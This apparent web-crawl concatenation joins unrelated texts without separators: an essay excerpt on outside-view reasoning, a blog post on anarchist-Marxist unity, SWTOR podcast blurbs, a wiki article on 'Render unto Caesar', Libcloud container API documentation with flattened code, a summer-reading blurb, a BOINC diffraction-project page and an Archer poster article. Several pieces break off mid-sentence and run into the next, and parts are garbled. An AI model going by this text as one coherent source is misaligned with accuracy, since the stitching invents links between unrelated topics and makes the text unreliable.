And I remarked that it seemed to me unwise in general to look at a mysterious pricing premium, and assume that you could get that premium. You couldn’t just look at average Deluxe prices and assume you could get them. Generally speaking, this indicates some sort of rent or market barrier; and where there is a stream of rent, there will be walls built to exclude other people from drinking from the stream. Maybe the high Deluxe prices meant that Deluxe consumers were hard to market to, or very unlikely to switch providers. You couldn’t just take the outside view of what Deluxe products tended to sell like.
He replied that he didn’t think it was wise to say that you had to fully understand every part of the market before you could do anything; especially because, if you had to understand why Deluxe products sold at a premium, it would be so easy to just make up an explanation.
Again I understand where he was coming from, in terms of the average cognitive use case. When I try to explain a phenomenon, I’m also implicitly relying on my ability to use a technique like “don’t even start to rationalize,” which is a skill that I started practicing at age 15 and that took me a decade to hone to a reliable and productive form. I also used the “notice when you’re confused about something” technique to ask the question, and a number of other mental habits and techniques for explaining mysterious phenomena—for starters, “detecting goodness of fit” (see whether the explanation feels “forced”) and “try further critiquing the answer.” Maybe there’s no point in trying to explain why Deluxe products sell at a premium to Basic products, if you don’t already have a lot of cognitive technique for not coming up with terrible explanations for mysteries, along with enough economics background to know which things are important mysteries in the first place, which explanations are plausible, and so on.
But at the same time, it seems to me that there is a learnable skill here, one that entrepreneurs and venture capitalists at least have to learn if they want to succeed on purpose instead of by luck.
One needs to be able to identify mysterious pricing and sales phenomena, read enough economics to speak the right simplicity language for one’s hypotheses, and then not come up with terrible rationalizations. One needs to learn the key answers for how the challenged industry works, which means that one needs to have explicit hypotheses that one can test as early as possible.
Otherwise you’re… not quite doomed per se, but from the perspective of somebody like me, there will be ten of you with bad ideas for every one of you that happens to have a good idea. And the people that do have good ideas will not really understand what human problems they are addressing, what their potential users’ relevant motivations are, or what are their critical obstacles to success.
Given that analysis of ideas takes place on the level it does, I can understand why people would say that it’s futile to try to analyze ideas, or that teams rather than ideas are important. I’m not saying that either entrepreneurs or venture capitalists could, by an effort of will, suddenly become great at analyzing ideas. But it seems to me that the outside view concept, along with the Fox=Good/Hedgehog=Bad, Observation=Good/Theory=Bad messages—including the related misunderstanding of MVP as “just build something and show it to users”—are preventing people from even starting to develop those skills. At least, my observation is that some people go too far in their skepticism of model-building.
Maybe there’s a valley of bad rationality here and the injunction to not try to have theories or causal models or preconceived predictions is protective against entering it. But first, if it came down to only those alternatives, I’d frankly rather see twenty aspiring rationalists fail painfully until one of them develops the required skills, rather than have nobody with those skills. And second, god damn it, there has to be a better way.
iv.
In situations that are drawn from a barrel of causally similar situations, where human optimism runs rampant and unforeseen troubles are common, the outside view beats the inside view. But in novel situations where causal mechanisms differ, the outside view fails—there may not be relevantly similar cases, or it may be ambiguous which similar-looking cases are the right ones to look at.
Where two sides disagree, this can lead to reference class tennis—both parties get stuck insisting that their own “outside view” is the correct one, based on diverging intuitions about what similarities are relevant. If it isn’t clear what the set of “similar historical cases” is, or what conclusions we should draw from those cases, then we’re forced to use an inside view—thinking about the causal process to distinguish relevant similarities from irrelevant ones.
You shouldn’t avoid outside-view-style reasoning in cases where it looks likely to work, like when planning your Christmas shopping. But in many contexts, the outside view simply can’t compete with a good theory.
Intellectual progress on the whole has usually been the process of moving from surface-level resemblances to more technical understandings of particulars. Extreme examples of this are common in science and engineering: the deep causal models of the world that allowed humans to plot the trajectory of the first moon rocket before launch, for example, or that allow us to verify that a computer chip will work before it’s ever manufactured.
Where items in a reference class differ causally in more ways than two Christmas shopping trips you’ve planned or two university essays you’ve written, or where there’s temptation to cherry-pick the reference class of things you consider “similar” to the phenomenon in question, or where the particular biases underlying the planning fallacy just aren’t a factor, you’re often better off doing the hard cognitive labor of building, testing, and acting on models of how phenomena actually work, even if those models are very rough and very uncertain, or admit of many exceptions and nuances. And, of course, during and after the construction of the model, you have to look at the data. You still need fox-style attention to detail—and you certainly need empiricism.
The idea isn’t, “Be a hedgehog, not a fox.” The idea is rather: developing accurate beliefs requires both observation of the data and the development of models and theories that can be tested by the data. In most cases, there’s no real alternative to sticking your neck out, even knowing that reality might surprise you and chop off your head.
Next: Against Modest Epistemology.
The full book will be available November 16th. You can go to equilibriabook.com to pre-order the book, or sign up for notifications about new chapters and other developments.Anarchism
Anarchists doing anarchist shit
anarchism is violent chaos
Marxism
Marxists doing Marxist shit
Marxism and Anarchism
Left Unity?
A simplified Marxist programme:
Lenin, State and Revolution, 1917
Marxists talk about the use of a state as a transitional stage. As can be seen from the quotations above they're not really talking about a state. They talking about the need to maintain some level of organisation after the revolution in order to protect what has been gained. Not and organisation to re-establish rule over the newly liberated working class.
3: Dismantle even this level of political organisation
Finally develop society freely and directly democratically, (having now completely suppressed any attempt at counter revolution) towards a post-scarcity and what we call anarchy/ anarchist communism/ luxury communism or what they (Marxists) just call communism (we won't care by that point, we'll just get the robots to make us another drink while we chill on the veranda).
Conclusions
Could anarchists and Marxists unite around this? I think they probably could.
Is any of it really a deal breaker for anarchists? Probably not for most.
Obviously anarchists will want to have an influence and ensure that each stage is as libertarian as possible and Marxists should respect that many workers are attracted to anarchism and anarchist type ideas precisely because they are suspicious of authority and having decisions made for them. At this point anarchism and Marxism could become tendencies within a revolutionary workers movement instead of separate competing ideologies.
The past is the past. Many of the disputes are exaggerated, distorted or the product of conditions or even specific personalities that are long gone.
This generation has to forge something new to deal with the challenges of what seems like it could be capitalism's final decades. Many of us will probably live long enough to see either collapse into war, famine and environmental destruction or revolution.
Most people who usually come here know what anarchism is.We'll go over it one more time just in case;... no, hold on, no. What I meant to say is: Anarchism is a movement which seeks to overthrow the current social order in a revolution, establishing in it's place a new society organised without hierarchy either in the form of exploitation, oppression or government.On the other hand, not many of us are completely clear on the answer to the question "what is Marxism?". That's probably partly because Marxists don't even all agree on this (and not all of them have even read much Marx).Marxism is a number of things but for simplicity I'm going to boil it down to two:Marxists view Marx's contribution to the method of social analysis called 'historical materialism' as being on the level of what Issac Newton was to physics.Newton's analyses of physical phenomena were so accurate that he was able to make predictions about events (such as the movement of the planets) based on his theories which turned out to be reliably and repeatably correct - from an objective point of view (meaning they could be tested and observed by numerous people who would agree on what they saw). 'Newtonian Physics' eventually became established as the only serious method of doing physics and so the discipline could go back to just being 'physics' (obviously it's also still being developed and perfected).Marx's work Das Kapital came to conclusions about how society works, proposing numerous 'laws' (like Newton's laws of physics) about the rise of capitalism, the crises within capitalism and predicting the eventual fall of capitalism. He didn't get this theory out of the blue, he build on the ideas of people who came before him and his own ideas have been further developed after him but to Marxists he is really the seminal thinker (hence the name of their movement!)The first part of Marxism involves no inherent claims to be ideological, even if it's usually used by people who do have a particular clear ideology. It's supposed to be a scientific, or at least a'scientific style' of study, a discipline rather than an ethical position or a proposal for whathappen in the future.Nevertheless Marx did leave some writings about what kind of society might exist after the revolution but even when he did so he wasn't really starting from scratch thinking up the coolest idea he could come up with for how everyone should live.Marx suggested that the ideas and methods and even the core of the structure of the future society has to come out of the old, and also that the forces that will create it have to come from within the old society too. He sums it up in this beautiful passage:Marx, Capital, 1867Much of the discussion of Marxism and anarchism focuses on the original split or on how anarchists have been betrayed or persecuted by various 'Marxist' regimes. There is another side to the story.Many Marxists were utterly opposed to Stalin and went into the gulags alongside the anarchists because of it (and many Marxist thinkers and activists today recognise that this would have been their fate too in that context). Marxists fought against the fascists in Spain alongside anarchists in open defiance of Stalin and repeatedly showed solidarity in anti-fascist struggles ever since. It was Marxists who were predominately involved in the Zapatista uprising in the beginning. Then we have Marxists like Henri Lefebvre who took up Marx's tools and used them more holistically |
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Torocast:
The inaugural episode of the Galactic Gamers Coalition, a Star Wars: The Old Republic Community Fan Podcast, has finally arrived! Strap in and prepare yourself for a long ride, and listen to the combined opinions of OotiniCast, SWTOR Reforged, and TOROCast! However, that’s only the first half of the show. Joining us for our first episode is none other than BioWare Austin and SWTOR’s own Community Manager, Eric Musco
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Bad Feeling Podcast Episode 02
Episode 2 brings our first retraction! We also explain a lot of the acronyms that you find in SW:TOR. There may be a bit of ranting about 55 unranked solo warzones
TORWars Podcast #176
This will aparently be the last Torwars podcast 🙁
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(Visited 233 times, 1 visits today)This article is about the phrase by Jesus. For the 2014 film, see Render to Caesar
"Render unto Caesar" is the beginning of a phrase attributed to Jesus in the synoptic gospels, which reads in full, "Render unto Caesar the things that are Caesar's, and unto God the things that are God's" (Ἀπόδοτε οὖν τὰ Καίσαρος Καίσαρι καὶ τὰ τοῦ Θεοῦ τῷ Θεῷ).[Matthew 22:21]
This phrase has become a widely quoted summary of the relationship between Christianity, secular government, and society. The original message, coming in response to a question of whether it was lawful for Jews to pay taxes to Caesar, gives rise to multiple possible interpretations about the circumstances under which it is desirable for Christians to submit to earthly authority.
Narrative [ edit ]
All three synoptic gospels state that hostile questioners tried to trap Jesus into taking an explicit and dangerous stand on whether Jews should or should not pay taxes to the Roman authorities. The accounts in Matthew 22:15–22 and Mark 12:13–17 say that the questioners were Pharisees and Herodians, while Luke 20:20–26 says only that they were "spies" sent by "teachers of the law and the chief priests".
They anticipated that Jesus would oppose the tax, as their purpose was "to hand him over to the power and authority of the governor".[Luke 20:20] The governor was Pilate, and he was the man responsible for the collecting of taxes in Roman Judea. At first the questioners flattered Jesus by praising his integrity, impartiality, and devotion to truth. Then they asked him whether or not it is right for Jews to pay the taxes demanded by Caesar. In the Gospel of Mark[12:15] the additional, provocative question is asked, "Should we pay or shouldn't we?"
Jesus first called them hypocrites, and then asked one of them to produce a Roman coin that would be suitable for paying Caesar's tax. One of them showed him a Roman coin, and he asked them whose head and inscription were on it. They answered, "Caesar's," and he responded: "Render therefore unto Caesar the things which are Caesar's; and unto God the things that are God's".
The questioners were impressed. Matthew 22:22 states that they "marveled" (ἐθαύμασαν) and being satisfied with the answer, they went away.
Historical context [ edit ]
The coin [ edit ]
Ti[berivs] Caesar Divi Avg[vsti] F[ilivs] Avgvstvs ("Caesar Augustus Tiberius, son of the Pontif[ex] Maxim[us] ("Highest Priest"). denarius featuring Tiberius. The inscription on the obverse reads("Caesar Augustus Tiberius, son of the Divine Augustus "), and the reverse reads("Highest Priest").
The text identifies the coin as a δηνάριον dēnarion,[1] and it is usually thought that the coin was a Roman denarius with the head of Tiberius. The coin is also called the "tribute penny." The inscription reads "Ti[berivs] Caesar Divi Avg[vsti] F[ilivs] Avgvstvs" ("Caesar Augustus Tiberius, son of the Divine Augustus"). The reverse shows a seated female, usually identified as Livia depicted as Pax.[2]
However, it has been suggested that denarii were not in common circulation in Judaea during Jesus' lifetime and that the coin may have instead been an Antiochan tetradrachm bearing the head of Tiberius, with Augustus on the reverse.[3] Another suggestion often made is the denarius of Augustus with Caius and Lucius on the reverse, while coins of Julius Caesar, Mark Antony, and Germanicus are all considered possibilities.[4] Whichever Roman coin it was, the fact that Jesus's interrogators had an idolatrous coin with its "graven image" [5] of whomever, and in the Temple precincts [6] no less, immediately convicted them of blasphemy and put Jesus at a rhetorical advantage.[original research?]
A similar episode occurs in the Gospel of Thomas (verse 100), but there the coin in question is gold. Importantly, in this non-canon gospel, Jesus adds, "and give me what is mine."[7]
Tax resistance in Judaea [ edit ]
The taxes imposed on Judaea by Rome had led to riots.[8] New Testament scholar Willard Swartley writes:
The tax denoted in the text was a specific tax… It was a poll tax, a tax instituted in A.D. 6. A census taken at that time (cf. Lk. 2:2) to determine the resources of the Jews provoked the wrath of the country. Judas of Galilee led a revolt (Acts 5:37), which was suppressed only with some difficulty. Many scholars date the origin of the Zealot party and movement to this incident.[9]
The Jewish Encyclopedia says of the Zealots:
When, in the year 5, Judas of Gamala in Galilee started his organized opposition to Rome, he was joined by one of the leaders of the Pharisees, R. Zadok, a disciple of Shammai and one of the fiery patriots and popular heroes who lived to witness the tragic end of Jerusalem… The taking of the census by Quirinus, the Roman procurator, for the purpose of taxation was regarded as a sign of Roman enslavement; and the Zealots' call for stubborn resistance to the oppressor was responded to enthusiastically.
At his trial before Pontius Pilate, Jesus was accused of promoting resistance to Caesar's tax.
Then the whole company of them arose and brought him before Pilate. 2 And they began to accuse him, saying, "We found this man misleading our nation and forbidding us to give tribute to Caesar, and saying that he himself is Christ, a king." (Luke 23:1–4)
Interpretations [ edit ]
Malczewski Jacek, Render unto Caesar
The passage has been much discussed in the modern context of Christianity and politics, especially on the questions of separation of church and state and tax resistance.
Foreshadowing [ edit ]
When Jesus later allowed himself to be crucified, although he was divine, he was in a sense rendering unto Caesar the body that belonged to Caesar's (human, earthly) realm, while devoting his soul to God. Augustine of Hippo suggested this interpretation in his Confessions, where he writes
He himself, the only-begotten, was created to be wisdom and justice and holiness for us, and he was counted among us, and he paid the reckoning, the tribute to Caesar.[10]
Separation of church and state [ edit ]
Jesus responds to Pontius Pilate about the nature of his kingdom: "My kingdom is not of this world. If my kingdom were of this world, my servants would have been fighting, that I might not be delivered over to the Jews. But now (or 'as it is') my kingdom is not from the world" (John 18:36); i.e., his religious teachings were separate from earthly political activity. This reflects a traditional division in Christian thought by which state and church have separate spheres of influence.[11] This can be interpreted either a Catholic, or Thomist, way (Gelasian doctrine) or a Protestant, or Lockean, way (separation of church and state).
Tertullian, in De Idololatria, interprets Jesus as saying to render "the image of Caesar, which is on the coin, to Caesar, and the image of God, which is on man, to God; so as to render to Caesar indeed money, to God yourself. Otherwise, what will be God's, if all things are Caesar's?"[12]
Theonomic answer [ edit ]
H. B. Clark writes, "It is a doctrine of both Mosaic and Christian law that governments are divinely ordained and derive their powers from God. In the Old Testament it is asserted that "Power belongs unto God," (Ps 62:11) that God "removes kings and sets up kings," (Dan 2:21) and that "The Most High rules in the kingdom of men, and gives it to whomever He will" (Dan 4:32). Similarly, in the New Testament, it is stated that "...there is no power but of God, the powers that be are ordained of God" (Rom 13:1).[13]
R. J. Rushdoony expands, "In early America, there was no question, whatever the form of civil government, that all legitimate authority is derived from God... Under a biblical doctrine of authority, because "the powers that be are ordained of God (Rom 13:1), all authority, whether in the home, school, state, church, or any other sphere, is subordinate authority and is under God and subject to His word." This means, first, that all obedience is subject to the prior obedience to God and his Word, for "We ought to obey God rather than men" (Acts 5:29; 4:19). Although civil obedience is commanded, it is equally apparent that the prior requirement of obedience to God must prevail."[14]
Justification for following laws [ edit ]
Some read the phrase "Render unto Caesar that which is Caesar's" as unambiguous at least to the extent that it commands people to respect state authority and to pay the taxes it demands of them. Paul the Apostle also states in Romans 13 that Christians are obliged to obey all earthly authorities, stating that as they were introduced by God, disobedience to them equates to disobedience to God.
In this interpretation, Jesus asked his interrogators to produce a coin in order to demonstrate to them that by using his coinage they had already admitted the de facto rule of the emperor, and that therefore they should submit to that rule.[15]
For example, one Mennonite explained why he was not a war tax resister this way:
We are against war and do not wish to aid the war effort by conscription or by paying war taxes to the government. Doing so only helps to strengthen and perpetuate the war machine. Matthew 22:21 Jesus said "Render to Caesar the things that are Caesar's; and to God the things that are God's." Romans 13:1 "Let every person be in subjection to the governing authorities. For there is no authority except from God and those which exist are established by God." If the law of the land is that everyone must pay war taxes then that is what we must do. It is the law! We should however, work and pray extremely hard to change the law. The ideal situation would be to have the law abolished. The alternative would be to have a choice of designating our portion of the war tax towards efforts of peacemaking. This route would be a more lawful, constructive, and positive effort.[16]
Respecting obligations when enjoying advantages [ edit ]
Some see the parable as being Jesus' message to people that if they enjoy the advantages of a state such as Caesar's, as distinct from God's authority (for instance, by using its legal tender), they can't subsequently choose to ignore the laws of such a state. Henry David Thoreau writes in Civil Disobedience:
Christ answered the Herodians according to their condition. "Show me the tribute-money," said he; – and one took a penny out of his pocket; – If you use money which has the image of Caesar on it, and which he has made current and valuable, that is, if you are men of the State, and gladly enjoy the advantages of Caesar's government, then pay him back some of his own when he demands it; "Render therefore to Caesar that which is Caesar's and to God those things which are God's" – leaving them no wiser than before as to which was which; for they did not wish to know.
Mennonite Dale Glass-Hess wrote:
It is inconceivable to me that Jesus would teach that some spheres of human activity lie outside the authority of God. Are we to heed Caesar when he says to go to war or support war-making when Jesus says in other places that we shall not kill? No! My perception of this incident is that Jesus does not answer the question about the morality of paying taxes to Caesar, but that he throws it back on the people to decide. When the Jews produce a denarius at Jesus' request, they demonstrate that they are already doing business with Caesar on Caesar's terms. I read Jesus' statement, "Give to Caesar…" as meaning "Have you incurred a debt in regard to Caesar! Then you better pay it off." The Jews had already compromised themselves. Likewise for us: we may refuse to serve Caesar as soldiers and even try to resist paying for Caesar's army. But the fact is that by our lifestyles we've run up a debt with Caesar, who has felt constrained to defend the interests that support our lifestyles. Now he wants paid back, and it's a little late to say that we don't owe anything. We've already compromised ourselves. If we're going to play Caesar's games, then we should expect to have to pay for the pleasure of their enjoyment. But if we are determined to avoid those games, then we should be able to avoid paying for them.[17]
Mohandas K. Gandhi shared this perspective. He wrote:
Jesus evaded the direct question put to him because it was a trap. He was in no way bound to answer it. He therefore asked to see the coin for taxes. And then said with withering scorn, "How can you who traffic in Caesar's coins and thus receive what to you are benefits of Caesar's rule refuse to pay taxes?" Jesus' whole preaching and practice point unmistakably to noncooperation, which necessarily includes nonpayment of taxes.[18][19][20]
Tax resistance [ edit ]
Mennonite pastor John K. Stoner spoke for those who interpret the parable as permitting or even encouraging tax resistance: "We are war tax resisters because we have discovered some doubt as to what belongs to Caesar and what belongs to God, and have decided to give the benefit of the doubt to God."[21]
American Quaker war tax resisters [ edit ]
As American Quaker war tax resistance developed during the 17th through 19th centuries, the resisters had to find a way to reconcile their tax resistance with the "Render unto Caesar" verse and other verses from the New Testament that encourage submission to the government. Here are a few examples:
Around 1715, a pseudonymous author, "Philalethes," published a pamphlet entitled Tribute to Cæsar, How paid by the Best Christians... in which he argued that while Christians must pay "general" taxes, a tax that is explicitly for war purposes is the equivalent to an offering on an altar to a pagan god, and this is forbidden.[22]
In 1761, Joshua Evans put it this way:
Others would term it stubbornness in me, or contrary to the doctrine of Christ, concerning rendering to Caesar his due. But as I endeavored to keep my mind in a state of humble quietude, I was favored to see through such groundless arguments; there being nothing on the subject of war, or favorable to it, to be found in that text. Although I have been willing to pay my money for the use of civil government, when legally called for; yet have I felt restrained by a conscientious motive, from paying towards the expense of killing men, women and children, or laying towns and countries waste.[23]
In 1780, Samuel Allinson circulated a letter on the subject of tax resistance, in which he insisted that what was due to Caesar was only what Caesar would not use for antichristian purposes:
…the question put to our Savior on the point was with evil intention to ensnare and render him culpable to one of the great parties or sects then existing, who differed about the payment of taxes, his answer, though conclusive, was so wisely framed that it left them still in doubt, what things belonged to Cæsar and what to God, thus he avoided giving either of them offence which he must inevitably have done by a determination that tribute indefinitely was due to Cæsar. Our first and principle obedience is due to the Almighty, even in contradiction to man, "We ought to obey God rather than men" (Acts 5:29). Hence, if tribute is demanded for a use that is antichristian, it seems right for every Christian to deny it, for Cæsar can have no title to that which opposes the Lord's command.[24]
In 1862, Joshua Maule wrote that he felt that the "Render unto Caesar" instruction was compatible with war tax resistance, as there was no reason to believe for certain that the tax referred to in that episode had any connection to war:
The words of Christ, "Render to Cæsar the things that are Cæsar's, and to God the things that are God's," have often been brought forward as evidence that He approved of paying all taxes; it being said, in connection, that Cæsar was then engaged in war. The distinction, however, is sufficiently clear: the things that were Cæsar's were, doubtless, those which appertain to the civil government; the things which belong to God are, surely, a clear and full obedience to His commands and to His laws. We know that all the precepts and commands of Christ which can be applied in reference to this subject are of one tendency, enjoining "peace on earth and good-will to men." We do not know, after all, however, what was the exact nature and use of the tribute collected in those days, nor what were the situation and circumstances in which Christians or others were then placed in regard to such things.[25]
Christian anarchist tax resisters [ edit ]
The less you have of Caesar's, the less you have to render to Caesar. — Dorothy Day, The Catholic Worker
Christian anarchists do not interpret Matthew 22:21 as advocating support for taxes but as further advice to free oneself from material attachment. Jacques Ellul believes the passage shows that Caesar may have rights over the fiat money he produces, but not things that are made by God, as he explains:[26]
Render unto Caesar..." in no way divides the exercise of authority into two realms....They were said in response to another matter: the payment of taxes, and the coin. The mark on the coin is that of Caesar; it is the mark of his property. Therefore give Caesar this money; it is his. It is not a question of legitimizing taxes! It means that Caesar, having created money, is its master. That's all. Let us not forget that money, for Jesus, is the domain of Mammon, a satanic domain!
Ammon Hennacy interpreted Matthew 22:21 slightly differently. He was on trial for civil disobedience and was asked by the judge to reconcile his tax resistance with Jesus' instructions. "I told him Caesar was getting too much around here and some one had to stand up for God." Elsewhere, he interpreted the story in this way:
[Jesus] was asked if He believed in paying taxes to Caesar. In those days different districts had different money and the Jews had to change their money into that of Rome, so Jesus asked, not for a Jewish coin, but for a coin with which tribute was paid, saying "Why tempt me?" Looking at the coin He asked whose image and superscription was there inscribed and was told that it was Caesar's. Those who tried to trick Him knew that if He said that taxes were to be paid to Caesar He would be attacked by the mobs who hated Caesar, and if He refused to pay taxes there would always be some traitor to turn Him in. His mission was not to fight Caesar as Barabbas had done, but it was to chase the moneychangers out of the Temple and to establish His own Church. Whether He winked as much as to say that any good Jew knew that Caesar did not deserve a thing as He said, "Render unto Caesar what is Caesar's and unto God what is God's," or not, no one knows. …Despite what anyone says each of us has to decide for himself whether to put the emphasis upon pleasing Caesar or pleasing God. We may vary in our reasons for drawing the line here or there as to how much we render unto Caesar. I make my decision when I remember that Christ said to the woman caught in sin, "Let him without sin first cast a stone at her." I remember His "Forgive seventy times seven," which means no Caesar at all with his courts, prisons and war.[27]
Versions [ edit ]
The extracanonical Gospel of Thomas also has a version, which reads in the Stephen Patterson and Marvin Meyer Version 100:[28]
They showed Jesus a gold coin and said to him, "The Roman emperor's people demand taxes from us." He said to them, "Give the emperor what belongs to the emperor, give God what belongs to God, and give me what is mine."
The fragmentary Egerton Gospel in the Scholar's Version translation (found in The Complete Gospels) 3:1–6 reads:[29]
They come to him and interrogate him as a way of putting him to the test. They ask, "Teacher, Jesus, we know that you are [from God], since the things you do put you above all the prophets. Tell us, then, is it permissible to pay to rulers what is due them? Should we pay them or not?" Jesus knew what they were up to, and became indignant. Then he said to them, "Why do you pay me lip service as a teacher, but not [do] what I say? How accurately Isaiah prophesied about you when he said, 'This people honors me with their lips, but their heart stays far away from me; their worship of me is empty, [because they insist on teachings that are human] commandments […]'
See also [ edit ]Note Container API is available in Libcloud 1.0.0RC and higher.
Note Container API is currently in an EXPERIMENTAL state.
Container API allows users to install and deploy containers onto container based virtualization platforms. This is designed to target both on-premise installations of software like Docker as well as interfacing with Cloud Service Providers that offer Container-as-a-Service APIs.
For a working example of the container driver with cluster support, see the example for Amazon’s Elastic Container Service:
from libcloud.container.base import ContainerImage from libcloud.container.types import Provider from libcloud.container.providers import get_driver cls = get_driver ( Provider. ECS ) conn = cls ( access_id = 'SDHFISJDIFJSIDFJ', secret = 'THIS_IS)+_MY_SECRET_KEY+I6TVkv68o4H', region = 'ap-southeast-2' ) for cluster in conn. list_clusters (): print ( cluster. name ) if cluster. name == 'default' : container = conn. deploy_container ( cluster = cluster, name ='my-simple-app', image = ContainerImage ( id = None, name ='simple-app', path ='simple-app', version = None, driver = conn ) )
For an example of the simple container support, see the Docker example:
from libcloud.container.types import Provider from libcloud.container.providers import get_driver cls = get_driver ( Provider. DOCKER ) driver = cls ( host = 'https://198.61.239.128', port = 4243, key_file = 'key.pem', cert_file = 'cert.pem' ) image = driver. install_image ( 'tomcat:8.0' ) container = driver. deploy_container ( 'tomcat', image )
Drivers¶ Container-as-a-Service providers will implement the ContainerDriver class to provide functionality for : Listing deployed containers
Starting, stopping and restarting containers (where supported)
Destroying containers
Creating/deploying containers
Listing container images
Installing container images (pulling an image from a local copy or remote repository) Driver base API documentation is found here: ContainerDriver - A driver for interfacing to a container provider
Simple Container Support¶ ContainerImage - Represents an image that can be deployed, like an application or an operating system
- Represents an image that can be deployed, like an application or an operating system Container - Represents a deployed container image running on a container host
Cluster Suppport¶ Cluster support extends on the basic driver functions, but where drivers implement the class-level attribute supports_clusters as True clusters may be listed, created and destroyed. When containers are deployed, the target cluster can be specified. ContainerCluster - Represents a deployed container image running on a container host
- Represents a deployed container image running on a container host ClusterLocation - Represents a location for clusters to be deployed
Bootstrapping Docker with Compute Drivers¶ The compute and container drivers can be combined using the deployment feature of the compute driver to bootstrap an installation of a container virtualization provider like Docker. Then using the Container driver, you can connect to that API and install images and deploy containers.
Supported Providers¶ For a list of supported providers see supported providers page.
API Reference¶ For a full reference of all the classes and methods exposed by the Container API, see this page.23 books we’ve loved so far this year
Summer reading is the G-spot of American publishing — much rumored, never verified. Yet the excitement inspired by the idea of summer reading remains strong, linked to all kinds of halcyon fantasies: This July, we’ll finally get in shape; we’ll leave the laptop at home; we’ll catch up on Karl Ove Knausgård’s “My Struggle” so that we can stop pretending to have read it.
But despite our best intentions to lug tomes to Cape Cod, book sales don’t peak in the summer. That comes later, during the cooler holidays. This month, though, the usual trends may be distorted by two peculiar blockbusters— Harper Lee’s “Go Set a Watchman” and E.L. James’s “Grey,” both tied to earlier novels — that have driven readers into a frenzy of desire.
But maybe your own Inner Goddess craves something a bit less hyperventilated for these hot months: a beach read that holds up in bright light. You’ve come to the right spot. This special section of Book World offers all kinds of great recommendations and reflections on summer reading.About XANSONS for COD
XANSONS for COD is a research project aimed to create an open access database of simulated x-ray and neutron powder diffraction patterns for nanocrystalline phase of the materials presented in the Crystallography Open Database (COD). You can participate by downloading and running a free program on your computer.
Principal calculations for this project are completed. The database of simulated powder diffraction patterns can be found at http://database.xansons4cod.com. The project will continue to process newly added COD entries but the number of new tasks per month will be very small. Those who want to join the project despite this, can ask any participant for the invitation code, which is shown on the profile page.
This project uses original open source (GPLv3 license) software XaNSoNS (X-ray and Neutron Scattering on Nanoscale Structures) to simulate the diffraction patterns on CPU and GPU. Download the source code of the client app here.
XANSONS for COD is a privately managed BOINC project. It was supported by the Russian Foundation for Basic Research in 2015 - 2017 (project RFBR #15-07-07901-a).
Scientific Problem
The conventional technique used to recover the structural properties of the crystalline samples by their powder diffraction pattern is the Rietveld refinement method. In this method, the theoretical powder diffraction pattern is refined until it fits the experimental one. The computation of the angles and intensities of the Bragg peaks can be made almost instantaneously in the approximation of the infinite size of the crystallite. To adjust for the finite size of the crystallites in the samples or finite resolution of the measurement device, these peaks are broadened artificially with the broadening function (usually Gaussian). This artificial broadening works great until the size of the crystallite in the sample is something below few tens of nanometers. For the such small crystallites, it is very hard to get the right broadening function which works fine for all Bragg peaks. Fortunately, for the such small crystallites, it is not a problem to calculate the powder diffraction patterns using the Debye equation (with the distance-histogram approximation, such as that proposed by Marcin Wojdyr and implemented in his Debyer code ). This project is aimed to calculate the x-ray and neutron powder diffraction patterns for the nanocrystallites with the size varying from 6 nm to 30 nm for the most of the entries of the Crystallography Open Database. The two different types of materials are considered: (a) isolated spherical crystalline nanoparticle of a given size (diameter), (b) crystalline material with long-range order broken on the distances greater than a given value. The obtained database may simplify the diagnostics of the nanocrystalline samples and complement the Full Profile Search Match method in the crystallite size analysis of the nanocrystalline samples.
In addition to the above, the calculation of the powder diffraction pattern using the Debye equation allows to account the lattice defects such as site vacancies, atom replacements and displacements. So, if the Crystallography Information File (CIF) for the given structure provides the site occupancy numbers and atomic displacement parameters, the application will use them to calculate the diffraction pattern.
System Requirements
Windows 7 SP1 64-bit and above. Manual installation of Visual C++ Redistributable Packages for Visual Studio 2013 is required (64-bit version).
Visual C++ Redistributable Packages for Visual Studio 2013 (64-bit version). OS X 10.9.5 and above (including macOS).
64-bit Linux with kernel 3.10 and above.
Nvidia GPU with CUDA Compute Capability 1.3 and above (Windows, Linux) or 2.0 and above (OS X/macOS) with at least 1GB of memory (GDDR5 memory is recommended). Driver version 340.21 and above (Windows, Linux) or CUDA Driver for MAC version 7.0.29 and above (OS X/macOS).
AMD GPU with OpenCL 1.2+ support with at least 1GB of memory (integrated AMD GPUs, a.k.a. APUs, are not recomended, see Important Notes below).
Intel GPU of 8-th generation and above with OpenCL 1.2+ support (older Intel GPUs are not recommended, see Important Notes below).
Important Notes
The apps of this project do not make checkpoints. If stopped, the task will be restarted from the beginning. The task execution time should not exceed 10 minutes for moderate PCs. However, some tasks may take longer to complete on low-end PCs. This is particularly true for low-end GPUs. If the execution time of tasks is unacceptably high for your GPU, consider disabling it in the 'Preferences for this project' in your profile page.
Some antivirus software may place the executables into quarantine as unknown (and therefore suspicious) files. To prevent this from happening, disable blocking of unknown files in the antivirus preferences (e.g. in Avast disable CyberCapture feature). When BOINC client will download the executables, you can manually scan the BOINC data directory (C:\ProgramData\BOINC\ by default) for viruses. After that, the disabled antivirus functionality may be re-enabled again.
The algorithm which solves the problem on GPU uses 64-bit integer atomic functions on Nvidia and AMD GPUs and emulates them on Intel GPUs. All tested integrated AMD GPUs (APU) and all tested Intel GPUs below 8-th generation showed very poor performance for the tasks of this project probably caused by specific hardware architectures of these GPUs. If your GPU is affected, you can disable it in the 'Preferences for this project' in your profile page.
GPU apps do not require dedicated CPU core by default anymore. If you notice any performance issues caused by this, consider using custom app configuration. Place this file in the project’s folder.
The progress bar for GPU tasks may freeze on 0% for a few seconds. This is OK and does not mean that the app is hanging (at that time CPU computes the atomic ensemble and does not report a progress).
Participate
Returning participants
Community
Supported operating systems:Supported GPUs:Archer Season 4 Gets A New Poster And Some Character Interview Videos By Jesse Carp Random Article Blend Archer, so they also decided to subject the rest of the cast of characters to the press rounds on media day in order to spread the word that the premiere is less than a week away. Before getting to the junket interviews, let's take a second to admire the aforementioned and very busy "Quantum of Mediocrity" one-sheet the network has created for the fourth season.
The poster does a good job of being inclusive, making sure not to leave any of the important characters out of the ad which also hints at a few of the upcoming story lines. Mallory is rocking the wedding dress, Ray's back in the wheelchair and Archer, Lana and Pam seem to be suggesting a mission under the sea. Last year ISIS went into Space, this year it's time to get wet. Gross. I also have no idea why Cheryl is riding an ostrich (maybe Babou needs a friend?) or what Krieger is up to in that ball of energy but I am excited to find out.
